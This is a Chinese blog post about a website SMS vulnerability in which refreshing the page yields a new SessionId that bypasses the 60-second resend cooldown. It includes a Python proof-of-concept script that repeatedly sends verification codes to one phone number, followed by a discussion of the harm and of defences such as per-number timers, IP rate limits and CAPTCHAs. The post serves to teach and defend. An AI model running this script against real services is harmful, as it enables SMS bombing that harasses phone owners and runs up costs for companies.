一类SMS漏洞的防御思路

本文详述了一种网站SMS漏洞,通过刷新页面绕过发送短信的冷却时间,导致频繁发送验证码。此漏洞可能导致公司成本增加和用户遭受骚扰。防御措施包括在后端设置定时器限制发送频率,限制同一IP的POST请求次数,并引入图文验证码机制。
摘要由CSDN通过智能技术生成

0x01 漏洞验证:

与SMS有关的网站功能都有可能存在此类漏洞隐患

如:注册账号、修改密码、绑定手机等重要功能

登陆界面如下所示,点击忘记密码

找回密码流程如下:

验证得知每次发送验证码后需等待60s

尝试将页面刷新后再次发送短信,发现发送成功

burp抓包,发现SessionId每次刷新页面都变化,因此尝试修改SessionId

 获取SessionId

F12在响应包中查找SessionId

 正则表达式提取SessionId:

    page_text = s.post(url=id_get_url, headers=headers, data=data).text
    ex = 'SessionId"]="(.*?)";'
    SessionId = re.findall(ex, page_text)[0]

由于SessionId和Cookie对应,所以第一个url那获取SessionId后,请求头还要带上Cookie,再请求第二个url,为方便使用requests.Session()创建Session对象,自动获取cookie

POC如下:

import requests
import re
import time

for i in range(13):    # 发送短信13次
    s = requests.Session()
    headers = {
        'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome \
        /98.0.4758.102 Safari/537.36 Edg/98.0.1108.62",
    }
    id_get_url = "https://CanNotTellYou.com/test"
    data = {
        'tranFlag': 0,
        'netType': 7,
        'Language': 'zh_CN',
        'PlatFlag': 3,
        'ComputID': 10,
        'StructCode': 1,
        'customerGroup': 1010,
        'channelCode': 302,
        'User_browser': 'Chrome:98.0.4758.102',
        'User_os': 'Windows10',
    }
    page_text = s.post(url=id_get_url, headers=headers, data=data).text
    ex = 'SessionId"]="(.*?)";'
    SessionId = re.findall(ex, page_text)[0]
    # with open('./page_text.html', 'w', encoding='utf-8') as f:
    #     f.writelines(page_text)
    url = 'https://AgainNoTellYou.com/test'
    post_data = {
        'tranFlag': 1,
        'loginID': 12345678978,   # 电话号码
        'SessionId': SessionId,
        'tranCode': 'A00012',
        'StructCode': 1,
    }
    response = s.post(url=url, headers=headers, data=post_data)
    print(response.text)
    time.sleep(2)

验证结果如下:

0x02 漏洞危害:

  • 从公司角度来看问题:

发送一条注册的短信验证码就会向短信提供商缴纳一定的费用,虽然一条短信可能几分钱,如果网站存在SMS漏洞,那么被有心人利用就可以造成很大的损失

  • 从用户角度看问题:

对网站的用户造成了骚扰

0x03 防御姿势:

上述例子中,虽然有对每个号码每天的短信接收总数量作限制,但对于发送的间隔时间限制,只是简单地用SessionId来识别,更合理的做法有如下几种:

  • 在后端对每个号码生成一个定时器,规定时间内不重发
  • 限制用户同一IP,一分钟提交POST的次数与频率
  • 每次提交获取短信时都要输入正确的图文验证码

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值